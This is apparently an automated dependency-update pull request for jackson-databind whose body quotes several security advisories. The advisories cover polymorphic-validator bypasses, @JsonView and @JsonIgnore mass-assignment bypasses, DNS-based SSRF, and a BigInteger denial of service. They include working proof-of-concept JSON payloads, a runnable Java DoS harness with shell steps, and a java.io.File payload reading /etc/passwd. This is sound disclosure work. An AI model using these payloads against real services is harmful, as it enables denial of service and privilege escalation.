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Update jackson-version [SECURITY] - #75

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Update jackson-version [SECURITY]#75
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ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
com.fasterxml.jackson.core:jackson-databind (source) 2.18.0 → 2.18.10 age confidence
com.fasterxml.jackson.core:jackson-core 2.18.0 → 2.18.8 age confidence

jackson-databind has a PolymorphicTypeValidator bypass via generic type parameters that allows arbitrary class instantiation

CVE-2026-54512 / GHSA-j3rv-43j4-c7qm

More information

Details

jackson-databind's PolymorphicTypeValidator (PTV) is the primary safety mechanism guarding polymorphic deserialization. When polymorphic typing is enabled and a type identifier contains generic parameters (i.e. the type ID string contains <), DatabindContext._resolveAndValidateGeneric() validates only the raw container class name (the substring before <) against the configured PTV.

If the container type is approved, the method parses the full canonical type string via TypeFactory.constructFromCanonical() and returns the fully parameterized type without ever validating the nested type arguments against the PTV. The nested type arguments are then resolved, instantiated, and populated as beans during deserialization.

An attacker who controls the type ID can therefore place a denied class as a generic type parameter of an allowed container — for example java.util.ArrayList<com.evil.Gadget> when only java.util.ArrayList is allow-listed. The container passes the PTV check; com.evil.Gadget is loaded via Class.forName(name, true, loader), instantiated, and its properties are set from attacker-controlled JSON. This completely bypasses an explicitly configured PTV allow-list.

This is the same vulnerability class responsible for the historical sequence of jackson-databind deserialization CVEs; here it manifests as a validator bypass rather than a missing deny-list entry.

Impact
  • Bypass of the PTV allow-list, including the recommended BasicPolymorphicTypeValidator configured with name-prefix allow rules.
  • Arbitrary class instantiation of any type assignable to the container's element/parameter position, with attacker-controlled property values (setter/field injection).
  • Potential unauthenticated remote code execution when a class with exploitable side effects (JNDI lookup, JDBC/connection-pool gadgets,TemplatesImpl-style loaders, etc.) is present on the classpath.

Applications that accept untrusted JSON and rely on a configured PTV — the documented, security-conscious configuration — are affected.

Proof of Concept

Configuration restricting polymorphic deserialization to a single safe container:

BasicPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
        .allowIfSubType("java.util.ArrayList")
        .build();

ObjectMapper mapper = JsonMapper.builder()
        .polymorphicTypeValidator(ptv)
        .build();

Malicious payload (Wrapper.value is Object with @JsonTypeInfo(use = Id.CLASS, include = As.WRAPPER_ARRAY)):

{"value":["java.util.ArrayList<com.evil.EvilGadget>",[{"cmd":"calc.exe"}]]}

On vulnerable versions, com.evil.EvilGadget is instantiated and its cmd property is set, despite only java.util.ArrayList being allow-listed. On 2.18.8 / 2.21.4 / 3.1.4 the deserialization throws InvalidTypeIdException before instantiation.

Variant payloads (all bypass an ArrayList/HashMap allow-list):

Type ID Smuggled type position
java.util.ArrayList<Evil> list element
java.util.HashMap<Evil,String> map key
java.util.HashMap<String,Evil> map value
java.util.ArrayList<java.util.ArrayList<Evil>> nested element
java.util.ArrayList<Evil[]> array element
Patches

Fixed in 2.18.8, 2.21.4 and 3.1.4 via the changes for FasterXML/jackson-databind#5988, commit 434d6c511. The fix adds recursive validation of each non-trivial type parameter (and array element types appearing as parameters) through the full PTV chain, with documented exemptions for Object (wildcard resolution) and Enum types.

PolymorphicTypeValidator was added in 2.10.0 so vulnerability N/A for versions prior to that.

Severity

  • CVSS Score: 8.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind has an array subtype allowlist bypass in BasicPolymorphicTypeValidator (allowIfSubTypeIsArray)

CVE-2026-54513 / GHSA-rmj7-2vxq-3g9f

More information

Details

Summary

BasicPolymorphicTypeValidator.Builder.allowIfSubTypeIsArray() allowlists any array type based only on clazz.isArray(), without validating the array's component (element) type against the configured allowlist. A PTV built with allowIfSubTypeIsArray() plus an explicit concrete-type allowlist therefore still permits EvilType[] even though EvilType is not allowlisted. When Jackson deserializes the elements and no per-element type IDs are present, it instantiates the component type directly with no further PTV check, bypassing the allowlist.

Impact

Applications using BasicPolymorphicTypeValidator with allowIfSubTypeIsArray() as a safeguard get no protection for concrete array component types; an attacker controlling JSON can instantiate non-allowlisted types via an array wrapper, re-opening the gadget-instantiation risk PTV is meant to prevent.

Affected / Patched (verified via git tag --contains)
  • 2.18 line: >= 2.10.0, < 2.18.8 -> fixed in 2.18.8
  • 2.19-2.21 line: >= 2.19.0, < 2.21.4 -> fixed in 2.21.4
  • 3.x line: >= 3.0.0, < 3.1.4 -> fixed in 3.1.4

PolymorphicTypeValidator was added in 2.10.0 so vulnerability N/A for versions prior to that.

Severity / CWE

Maintainer: significant. Reporter: HIGH. CWE-184 (Incomplete List of Disallowed Inputs); related CWE-502.

Upstream fix

FasterXML/jackson-databind#5981; fix PR #​5983 (24529da), 2.18 backport PR #​5984 (01d1692). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4.

Credits

Omkhar Arasaratnam (@​omkhar) - finder.

Severity

  • CVSS Score: 8.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind has case-insensitive deserialization bypasses per-property @​JsonIgnoreProperties

CVE-2026-54515 / GHSA-5jmj-h7xm-6q6v

More information

Details

Summary

In BeanDeserializerBase.createContextual(), per-property @JsonIgnoreProperties exclusions are applied by _handleByNameInclusion(), producing a contextual deserializer whose BeanPropertyMap has the ignored properties removed. The subsequent per-property case-insensitivity block (triggered by @JsonFormat(ACCEPT_CASE_INSENSITIVE_PROPERTIES)) rebuilds from this._beanProperties (the original, unfiltered map) instead of contextual._beanProperties, then overwrites the filtered map — restoring every property _handleByNameInclusion had just removed. The ignored property becomes writable again.

Impact

An application that both enables case-insensitive matching and relies on per-property @JsonIgnoreProperties to keep a field unwritable can have that field set from untrusted JSON (mass-assignment-style write).

Affected / Patched

Will be fixed in 2.18.9, 2.21.5, 2.22.1 and 3.1.4.

Severity / CWE

Maintainer: minor. Reporter: Moderate. CWE-915.

Upstream fix

FasterXML/jackson-databind#5962 (PR #​5964, 0e1b0b2), milestone 3.1.4. Released 2026-06-04.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind: InetSocketAddress deserialization triggers eager DNS resolution (SSRF)

CVE-2026-54514 / GHSA-hgj6-7826-r7m5

More information

Details

Summary

JDKFromStringDeserializer constructed InetSocketAddress with new InetSocketAddress(host, port), which performs eager DNS name resolution for hostname inputs at deserialization time. An application that binds untrusted JSON into a type containing an InetSocketAddress field issues an attacker-chosen DNS query during readValue, before any application-level validation or connect logic. The fix uses InetSocketAddress.createUnresolved(host, port), deferring DNS to an explicit connect.

Impact

An attacker controlling JSON deserialized into an InetSocketAddress-bearing type can force outbound DNS lookups for attacker-chosen hostnames at deserialization time (SSRF / DNS-based out-of-band interaction / internal-resolver probing), purely from binding.

Affected / Patched (verified via git tag --contains on 1f5a103)
  • 2.18 line: >= 2.18.0, < 2.18.8 -> fixed in 2.18.8
  • 2.19-2.21 line: >= 2.19.0, < 2.21.4 -> fixed in 2.21.4
  • 3.x line: >= 3.0.0, < 3.1.4 -> fixed in 3.1.4
Severity / CWE

Maintainer: minor. Reporter: LOW. CWE-918 (SSRF).

Upstream fix

FasterXML/jackson-databind#5951 ("Improve InetSocketAddress deserialization"). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4.

Credits

Omkhar Arasaratnam (@​omkhar) - finder.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind: @JsonView bypass for creator properties with @JsonTypeInfo(include=As.EXTERNAL_PROPERTY)

GHSA-mhm7-754m-9p8w

More information

Details

Summary

In BeanDeserializer.deserializeUsingPropertyBasedWithExternalTypeId, the active-view (@JsonView) filter was applied only to the regular bean-property branch; the creator-property branch performed no creatorProp.visibleInView(activeView) check. A constructor parameter annotated with both @JsonView(RestrictedView.class) and @&#8203;JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY) is populated from attacker JSON even when a more restrictive view is active.

This is a patch gap. GHSA-5hh8 (CVE-2026-54517) and GHSA-rcqc (CVE-2026-54518) descriptions cover only the main property-based path and the unwrapped-creator path respectively; the external-type-id creator path was fixed on the 3.x line via #​6004 ("Extend #​5969/#​5971 fixes to ... external-type-id case in regular BeanDeserializer", commit 7dc7a17, 2026-05-22) but
the fix was never backported to 2.21 or 2.18. Users on 2.21.4 and 2.18.8 who upgraded per the published advisories remain vulnerable to the same @JsonView bypass technique via a different code path.

Vulnerable Code Path

File: com/fasterxml/jackson/databind/deser/BeanDeserializer.java
Method: deserializeUsingPropertyBasedWithExternalTypeId

On 2.21.4 (and 2.18.8), the creator-property branch (around line 1125-1158) checks creatorProp.isInjectionOnly() and hands off to ext.handlePropertyValue(...) / buffer.assignParameter(...) without ever consulting visibleInView(activeView):

 if (creatorProp != null) {
     // [databind#1381]: if useInput=FALSE, skip deserialization from input
     if (creatorProp.isInjectionOnly()) { ... }
     // NO visibleInView(activeView) CHECK HERE
     if (!ext.handlePropertyValue(p, ctxt, propName, null)) {
         if (buffer.assignParameter(creatorProp, ...)) { ... }
     }
     continue;
 }

On 3.1.4, the same branch contains the additional guard (commit 7dc7a17):

  if (creatorProp != null) {
     // [databind#5971]: must honor active view here too
     if ((activeView != null) && !creatorProp.visibleInView(activeView)) {
         p.skipChildren();
         continue;
     }
     ...
 }

The 2.21 and 2.18 backport PRs (#​6005 and #​6003) only backported the main-path fixes from #​5969/#​5971; the external-type-id fix from #​6004 was not backported. The maintainer closed #​6005
with "got changes merged forward, looks like it's all covered now", but the forward-merge did not include the ExtTypeId creator branch.

Proof of Concept

Compiles and runs against jackson-databind 2.21.4:

  import com.fasterxml.jackson.annotation.*;
  import com.fasterxml.jackson.databind.ObjectMapper;

  public class JsonViewExternalTypeIdBypass {
      public static class PublicView {}
      public static class AdminView extends PublicView {}

      public static abstract class Asset { public String name; }
      public static class PublicAsset extends Asset {}
      public static class AdminAsset extends Asset { public String secret; }

      public static class Container {
          @JsonTypeInfo(use = JsonTypeInfo.Id.NAME,
                  include = JsonTypeInfo.As.EXTERNAL_PROPERTY,
                  property = "kind")
          @JsonSubTypes({
              @JsonSubTypes.Type(value = PublicAsset.class, name = "pub"),
              @JsonSubTypes.Type(value = AdminAsset.class,  name = "admin")
          })
          @JsonView(AdminView.class)
          public Asset asset;

          public String label;

          @JsonCreator
          public Container(
                  @JsonProperty("label") String label,
                  @JsonProperty("asset") @JsonView(AdminView.class) Asset asset) {
              this.label = label;
              this.asset = asset;
          }
      }

      public static class Wrapper {
          @JsonView(PublicView.class)
          public Container data;
      }

      public static void main(String[] args) throws Exception {
          // Admin-only "asset" should be blocked when reading with PublicView
          String json = "{\"data\":{\"label\":\"hello\",\"kind\":\"admin\","
                      + "\"asset\":{\"name\":\"foo\",\"secret\":\"LEAKED\"}}}";

          ObjectMapper om = new ObjectMapper();
          Wrapper r = om.readerWithView(PublicView.class)
                  .forType(Wrapper.class)
                  .readValue(json);

          System.out.println(r.data);
          // Actual on 2.21.4:   Container{label='hello', asset=AdminAsset{name='foo', secret='LEAKED'}}
          // Expected (secure):  Container{label='hello', asset=null}
          if (r.data.asset != null && r.data.asset instanceof AdminAsset) {
              System.out.println("[!!] BYPASS CONFIRMED — admin-only asset populated under PublicView");
          }
      }
  }

A control case that removes include = As.EXTERNAL_PROPERTY (forcing the normal property-based path) correctly returns asset = null, confirming the bypass is specific to the ExternalTypeId
code path and not a misconfiguration.

Impact

View-restricted (e.g. admin-only) creator properties can be populated from untrusted input where @​JsonView is used as a write-side authorization boundary. Typical victims are Spring Boot
REST controllers that use @​JsonView(PublicView.class) on the request body to whitelist user-settable fields — an attacker can inject the restricted creator parameter (including choosing
the polymorphic subtype via the sibling kind/type-id property) by combining it with a polymorphic @​JsonTypeInfo(EXTERNAL_PROPERTY) annotation on the same field.

  • CWE-863 (Incorrect Authorization)
  • Same impact class as CVE-2026-54517 / CVE-2026-54518
  • No RCE, no DoS — this is an access-control / mass-assignment bypass
Trigger Conditions

Developer code must combine (no opt-in user configuration required):

  1. Property-based @​JsonCreator on the outer type
  2. A creator parameter annotated with @​JsonView(RestrictedView.class)
  3. The same parameter annotated with @​JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY, property="...")

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind: @​JsonIgnore on a Record property is bypassed with a PropertyNamingStrategy

CVE-2026-59888 / GHSA-3pjw-73gf-8qr5

More information

Details

Summary

For Java Records, POJOPropertiesCollector._removeUnwantedIgnorals() records a @JsonIgnore-annotated component under its original implicit name before _renameUsing() applies the PropertyNamingStrategy. After the rename, _ignoredPropertyNames still holds only the pre-rename name, so _ignorableProps is built from the stale key. The renamed JSON key passes IgnorePropertiesUtil.shouldIgnore() and is assigned to the Record's constructor parameter, defeating the @JsonIgnore.

Impact

A Record using a naming strategy that relies on @JsonIgnore to keep an internal/privileged component out of deserialization can have that component set from the wire via its renamed key (e.g. a role/flag controlled by an untrusted client).

Affected / Patched (verified via git tag --contains)
  • 2.15-2.18 line: >= 2.15.0, < 2.18.8 -> fixed in 2.18.8 (backport c7c6783)
  • 2.19-2.21 line: >= 2.19.0, < 2.21.4 -> fixed in 2.21.4
  • 3.x line: >= 3.0.0, < 3.1.4 -> fixed in 3.1.4 (#​5974, baa2cdf)
Severity / CWE

Maintainer: minor. Reporter: Moderate. CWE-915; related CWE-345.

Credits

Omkhar Arasaratnam (@​omkhar) - finder.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind: @​JsonView bypassed for @​JsonUnwrapped container properties on deserialization

CVE-2026-59889 / GHSA-5gvw-p9qm-jgwh

More information

Details

Summary

UnwrappedPropertyHandler.processUnwrapped() replays the buffered JSON for a @JsonUnwrapped property by iterating its properties and calling prop.deserializeAndSet() with no prop.visibleInView(ctxt.getActiveView()) guard — the exact guard processUnwrappedCreatorProperties() received in the #​5971 / GHSA-rcqc-6cw3-h962 fix, and the guard BeanDeserializer.deserializeWithUnwrapped applies to directly-matched properties. As a result, a property annotated with both @JsonView(PrivilegedView.class) and @JsonUnwrapped is written from attacker JSON even when deserializing under a more-restrictive active view.

Correction to the original framing (runtime-verified): the gap is NOT a per-field inner @JsonView (the unwrapped sub-object's own BeanDeserializer gates inner fields correctly). The unchecked gate is the view of the unwrapped CONTAINER property.

Intent proof (runtime, 2.x HEAD 21dd70dd and 3.x HEAD 7a5939d6)

An @JsonView(AdminView) property that is NOT @JsonUnwrapped → null under PublicView (correctly gated). The identical property WITH @JsonUnwrapped → fully populated (bypass). The fix the creator path already received, not applied to the regular-property method.

Impact — write-side mass-assignment / privilege escalation

@JsonView is commonly used as a write-side authorization guard: a public endpoint binds the body under readerWithView(PublicView.class) and groups privileged state in a nested object whose container property is @JsonView(AdminView). When that property is @JsonUnwrapped, an untrusted caller mass-assigns it. PoC: a self-service registration where AccountFlags{role,approved,creditBalance} is @JsonView(AdminView) @JsonUnwrapped; attacker JSON {role:ADMIN,approved:true,creditBalance:1000000} under PublicView binds all three → approved admin with arbitrary balance. The failing gate is a WRITE gate, hence integrity-high (C:N/I:H/A:N); no worse than the C:L/I:L parent and arguably higher as @JsonView-as-write-guard is the exact use case #​5971/#​5969 defended.

Affected
  • com.fasterxml.jackson.core:jackson-databind 2.x: confirmed bypass at 21dd70dd (== released 2.21.4 / 2.22.0 line; includes the #​5973 backport). DEFAULT_VIEW_INCLUSION default=true.
  • tools.jackson.core:jackson-databind 3.x: confirmed bypass at HEAD 7a5939d6 (latest 3.x). DEFAULT_VIEW_INCLUSION default=false → the stock-config repro is the common shape where privileged inner fields are individually @JsonView(PublicView) and the developer relies on the container @JsonView(AdminView); the 3.x PoC mass-assigns role/approved/creditBalance under PublicView. (The other simultaneous report's PoC was reportedly fixed on 3.x; this distinct container-property path is not.)
Additive variants (runtime-confirmed both branches; all closed by the same one-line guard)
  • nested @JsonUnwrapped (unwrapped-in-unwrapped) — recursive bypass.
  • merge / readerWithView(...).withValueToUpdate(...) (PATCH/partial-update) — bypass; non-unwrapped merge control gates correctly.
  • builder-based deserializer (@JsonDeserialize(builder=...)) — BuilderBasedDeserializer routes through the same processUnwrapped.
  • Honest non-findings: read-side serialization correctly honors views (no leak); @JsonAnySetter+view and @JsonTypeInfo+@JsonUnwrapped are separate/unsupported behaviors, not this bug.
Fix

Add prop.visibleInView(ctxt.getActiveView()) (when MapperFeature.DEFAULT_VIEW_INCLUSION/active-view applies) to the processUnwrapped() property loop, mirroring processUnwrappedCreatorProperties(). One change closes the impact PoC + all three variants across BeanDeserializer and BuilderBasedDeserializer. Full runnable PoCs (2.x + 3.x) + variant harnesses available on request.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind: Duration XMLGregorianCalendar Unbounded Number Parse DoS

CVE-2026-68497 / GHSA-q4xh-88c3-wmh7

More information

Details

Summary

jackson-databind 3.2.1 deserializes a JSON string bound to a javax.xml.datatype.Duration or javax.xml.datatype.XMLGregorianCalendar field by passing the raw string verbatim to DatatypeFactory.newDuration(value) / newXMLGregorianCalendar(value). Per the XML-Schema lexical grammar these factory methods accept numeric components of arbitrary length, which the JDK materializes into java.math.BigInteger / BigDecimal using the native BigInteger(String) constructor (an O(n²) parser). Because the digits reside inside a JSON string token, jackson-core's StreamReadConstraints.maxNumberLength guard (which bounds only JSON number tokens) never fires, so there is no length limit anywhere on this path. An unauthenticated attacker can submit a single small request (e.g. ~1–5 MB) that forces tens of seconds to minutes of single-thread CPU consumption, yielding a denial of service under the default JsonMapper.builder().build() mapper with no polymorphic typing or special configuration.

Details

StreamReadConstraints.maxNumberLength (jackson-core, default 1000) bounds the text length of JSON number tokens only; it does not apply to digits inside a JSON string token (maxStringLength default is 100,000,000). jackson's own value binders compensate for this gap elsewhere — NumberDeserializers explicitly call streamReadConstraints().validateIntegerLength(text.length()) / validateFPLength(text.length()) before parsing a stringified number (NumberDeserializers.java:1063, :1139). The XML-datatype deserializer omits this identical pre-check.

CoreXMLDeserializers registers Std deserializers by default for any field typed javax.xml.datatype.Duration or XMLGregorianCalendar (findBeanDeserializer), with no opt-in required. Std._deserialize hands the attacker string straight to the datatype factory:

protected Object _deserialize(String value, DeserializationContext ctxt) {
    switch (_kind) {
    case TYPE_DURATION:
        return _dataTypeFactory.newDuration(value);                 // attacker lexical string
    case TYPE_G_CALENDAR:
        Date d;
        try { d = _parseDate(value, ctxt); }
        catch (DatabindException e) {
            return _dataTypeFactory.newXMLGregorianCalendar(value); // attacker lexical string
        }
        return _gregorianFromDate(ctxt, d);
    }
    throw new IllegalStateException();
}

Per the XSD lexical rules, newDuration parses each numeric component (years, months, …) into a BigInteger, and newXMLGregorianCalendar parses fractional seconds into a BigDecimal. The JDK uses the native BigInteger(String) / BigDecimal(String) constructors, which are O(n²) in the digit count. A short JSON string such as "P" + "9"×N + "Y" therefore forces the allocation and O(N²) parse of an N-digit BigInteger, entirely downstream of every jackson-core constraint.

Vulnerable Code Location
  • src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:137
    — newDuration(value) (TYPE_DURATION)
  • src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:147
    — newXMLGregorianCalendar(value) (TYPE_G_CALENDAR fallback)
  • Registration (default, no opt-in):
    src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:42-46
    (findBeanDeserializer returns Std for XMLGregorianCalendar / Duration)
  • Contrast — correct length-guard pattern already used elsewhere in the library:
    src/main/java/tools/jackson/databind/deser/jdk/NumberDeserializers.java:1063,1139
Proof of Concept

PoC source (Vuln07_DurationDoS.java). It uses only the public ObjectMapper.readValue API and a default mapper; the only "special" element is a normal DTO exposing a javax.xml.datatype.Duration field.

package com.poc;

import tools.jackson.databind.ObjectMapper;
import tools.jackson.databind.json.JsonMapper;
import javax.xml.datatype.Duration;

/**
 * Vuln 7: Unbounded numeric allocation / CPU DoS via Duration lexical deserialization.
 * A short JSON string forces parsing of a huge BigInteger inside DatatypeFactory.newDuration.
 */
public class Vuln07_DurationDoS {
    public static class Cfg { public Duration ttl; }

    public static void main(String[] args) throws Exception {
        ObjectMapper mapper = JsonMapper.builder().build();
        int digits = Integer.getInteger("digits", 5_000_000);

        // Baseline small parse.
        long t0 = System.nanoTime();
        mapper.readValue("{\"ttl\":\"P1Y\"}", Cfg.class);
        long tBase = System.nanoTime() - t0;
        System.out.println("Baseline (P1Y) parse: " + (tBase/1_000_000) + " ms");

        String big = "P" + "9".repeat(digits) + "Y";
        String json = "{\"ttl\":\"" + big + "\"}";
        System.out.println("Payload JSON size ~ " + json.length() + " bytes (year component = " + digits + " digits)");
        long t1 = System.nanoTime();
        try {
            Cfg c = mapper.readValue(json, Cfg.class);
            long dt = System.nanoTime() - t1;
            System.out.println("Parsed giant Duration in " + (dt/1_000_000) + " ms; years field type materialized as BigInteger");
            System.out.println("RESULT: VULNERABLE - " + digits + "-digit BigInteger parsed from a "
                    + json.length() + "-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)");
        } catch (Throwable t) {
            long dt = System.nanoTime() - t1;
            System.out.println("After " + (dt/1_000_000) + " ms threw " + t.getClass().getName() + ": " + t.getMessage());
        }
    }
}

Minimal HTTP-shaped payload (what an attacker sends):

{ "ttl": "P99999999999999999999…9Y" }   // 'P' + N nines + 'Y', N up to ~100,000,000

An XMLGregorianCalendar field is equally affected via the fractional-seconds path, e.g.
{ "at": "0000-01-01T00:00:00." + "9"×N }.

Execution Steps

The PoC needs only the three Jackson 3.2.1 jars on the classpath; it can be built and run with plain javac/java (no Maven required). The jars are the standard published artifacts (here resolved from the local Maven cache ~/.m2, but any copy works).

##### 0. Locate the three dependency jars (published Maven artifacts).
M2="$HOME/.m2/repository"
DB="$M2/tools/jackson/core/jackson-databind/3.2.1/jackson-databind-3.2.1.jar"
CORE="$M2/tools/jackson/core/jackson-core/3.2.1/jackson-core-3.2.1.jar"
ANN="$M2/com/fasterxml/jackson/core/jackson-annotations/2.22/jackson-annotations-2.22.jar"
CP="$DB:$CORE:$ANN"

#####   If not already cached, fetch them once, e.g.:
#####   mvn -q dependency:get -Dartifact=tools.jackson.core:jackson-databind:3.2.1

#####   (jackson-core 3.2.1 and jackson-annotations 2.22 come as transitive deps)

##### 1. Compile with javac (single source file).
mkdir -p out
javac -cp "$CP" -d out src/main/java/com/poc/Vuln07_DurationDoS.java

##### 2. Quick confirmation (~11 s): 1,000,000-digit year component.
java -Xmx2g -Ddigits=1000000 -cp "out:$CP" com.poc.Vuln07_DurationDoS

##### 3. Full-severity demonstration (~293 s): 5,000,000-digit year component.
java -Xmx2g -Ddigits=5000000 -cp "out:$CP" com.poc.Vuln07_DurationDoS

The digits system property controls the number of 9 characters in the year component; JSON payload size ≈ digits + 12 bytes. Increase toward the default 100,000,000 maxStringLength to scale cost further.

Environment used for the evidence below: jackson-databind 3.2.1, jackson-core 3.2.1, jackson-annotations 2.22; OpenJDK 25 on macOS (darwin), default JsonMapper.builder().build().

Reproduction Evidence

Deterministic values (payload byte count, resulting bit-length) are exact across runs; timings vary with load. Two independent runs at different sizes:

digits = 5,000,000 (~5 MB payload):

Baseline (P1Y) parse: 27 ms
Payload JSON size ~ 5000012 bytes (year component = 5000000 digits)
Parsed giant Duration in 293175 ms; years field type materialized as BigInteger
RESULT: VULNERABLE - 5000000-digit BigInteger parsed from a 5000012-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)

digits = 1,000,000 (~1 MB payload, for fast repeatability):

Baseline (P1Y) parse: 53 ms
Payload JSON size ~ 1000012 bytes (year component = 1000000 digits)
Parsed giant Duration in 11155 ms; years field type materialized as BigInteger
RESULT: VULNERABLE - 1000000-digit BigInteger parsed from a 1000012-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)

Interpretation: a normal "P1Y" value parses in tens of milliseconds; a ~1 MB attacker payload consumes ~11 s and a ~5 MB payload ~293 s of single-thread CPU — a 5–6 order-of-magnitude amplification. The super-linear growth (≈26× cost for 5× payload) is consistent with the JDK's O(n²) BigInteger(String) constructor. The cost occurs inside DatatypeFactory.newDuration, downstream of jackson-core's StreamReadConstraints (independently confirmed: the same digit sequence supplied as a bare JSON number token is rejected with StreamConstraintsException, whereas inside a string token it is not bounded).

Impact

An unauthenticated attacker can stall a request-processing thread for tens of seconds to minutes and allocate a large BigInteger/BigDecimal from a single small request. Because the cost is CPU-bound and super-linear, a handful of concurrent requests can saturate the server's worker threads and CPU, denying service to all users. The exposure requires only that a bound type expose a javax.xml.datatype.Duration or XMLGregorianCalendar field common in applications that ingest XML-schema derived data, SOAP/JAXB-adjacent models, or configuration carrying XSD durations — and fires under the default mapper with no polymorphic typing.

Recommended Fix

Apply the same validate-length-then-parse idiom the core NumberDeserializers already use:

  1. In CoreXMLDeserializers.Std._deserialize, enforce a maximum raw-string length before
    calling newDuration(value) / newXMLGregorianCalendar(value) — e.g. reject inputs
    longer than ctxt.streamReadConstraints().getMaxNumberLength() (or a dedicated bound),
    routing over-length input through ctxt.handleWeirdStringValue(...).
  2. Alternatively, validate the lexical form against a bounded regex and cap the digit count
    of each numeric component before delegating to DatatypeFactory.
  3. Document that Duration / XMLGregorianCalendar fields bound from untrusted input must
    be length-limited at the transport layer.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind: Comparable missing from DefaultBaseTypeLimitingValidator's unsafe base types (incomplete PolymorphicTypeValidator denylist)

CVE-2026-83557 / GHSA-gx83-3vf8-gh7j

More information

Details

Summary

DefaultBaseTypeLimitingValidator — the PolymorphicTypeValidator used automatically whenever @JsonTypeInfo is applied without an explicitly configured custom validator — denies polymorphic resolution only for nine specific "unsafe base types" (Object, Serializable, Closeable, AutoCloseable, Cloneable, Runnable, java.util.logging.Handler, javax.naming.Referenceable, javax.sql.DataSource). Its isSafeSubType() returns true unconditionally for every other base type. java.lang.Comparable is not in that list, despite being implemented by a very large fraction of JDK and application classes — comparable in breadth to Serializable, which is denylisted for exactly that reason. An application with an @JsonTypeInfo-annotated Comparable-typed property, and no custom validator configured, will accept a type identifier for essentially any class implementing Comparable.

Details

Affected file: src/main/java/tools/jackson/databind/jsontype/DefaultBaseTypeLimitingValidator.java

private final static class UnsafeBaseTypes {
    private final Set<String> UNSAFE = new HashSet<>();
    {
        UNSAFE.add(Object.class.getName());
        UNSAFE.add(java.io.Closeable.class.getName());
        UNSAFE.add(java.io.Serializable.class.getName());
        UNSAFE.add(AutoCloseable.class.getName());
        UNSAFE.add(Cloneable.class.getName());
        UNSAFE.add(Runnable.class.getName());          // [databind#5014]
        UNSAFE.add("java.util.logging.Handler");
        UNSAFE.add("javax.naming.Referenceable");
        UNSAFE.add("javax.sql.DataSource");
        // java.lang.Comparable is NOT present here
    }
}

protected boolean isSafeSubType(DatabindContext ctxt,
        JavaType baseType, JavaType subType) {
    return true;   // unconditional for every base type not in UNSAFE
}

The class's own JavaDoc acknowledges the design ("Note that when using potentially unsafe base type like java.lang.Object a custom implementation... is needed"), so the trade-off of leaving broad base types unrestricted is intentional. The gap is that Comparable has the same breadth of implementers as the types this class does restrict, and its absence looks like an oversight rather than a deliberate choice — consistent with the ongoing, incremental nature of this list (Runnable was added recently for issue #​5014).

This is specific to the default, unconfigured validator reached via bare @JsonTypeInfo usage. Global "Default Typing" via activateDefaultTyping() is not affected, because that method structurally requires an explicit PolymorphicTypeValidator argument — a correctly-configured BasicPolymorphicTypeValidator rejects the same payload under activateDefaultTyping().

PoC

Built entirely from source (jackson-databind + jackson-core + jackson-annotations, javac, OpenJDK 21, no third-party gadget libraries, no network access):

1. Sanity check (benign class, confirms the mechanism fires):

static class SafeThing implements Comparable<SafeThing> {
    public String name;
    public SafeThing() {}
    public int compareTo(SafeThing o) { return 0; }
}
static class Holder {
    @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
    public Comparable<?> value;
}

ObjectMapper mapper = JsonMapper.builder().build();   // no custom PTV
String json = "{\"value\":{\"@class\":\"...SafeThing\",\"name\":\"hello\"}}";
Holder h = mapper.readValue(json, Holder.class);
// RESULT: ACCEPTED, class=...SafeThing

2. Real JDK class substitution:

String json = "{\"value\":[\"java.io.File\",\"/etc/passwd\"]}";
Holder h = mapper.readValue(json, Holder.class);
// RESULT: ACCEPTED, class=java.io.File value=/etc/passwd

3. Negative control — Default Typing with an explicit custom PTV:

PolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
    .allowIfSubType("PtvGapTest4").build();
ObjectMapper mapper = JsonMapper.builder()
    .activateDefaultTyping(ptv, DefaultTyping.NON_FINAL).build();
// same java.io.File payload
// RESULT: REJECTED - InvalidTypeIdException: "...denied resolution"

Observed output:

$ java -cp .:build/classes PtvGapTest3
Trying: {"value":["java.io.File","/etc/passwd"]}
ACCEPTED, class=java.io.File value=/etc/passwd

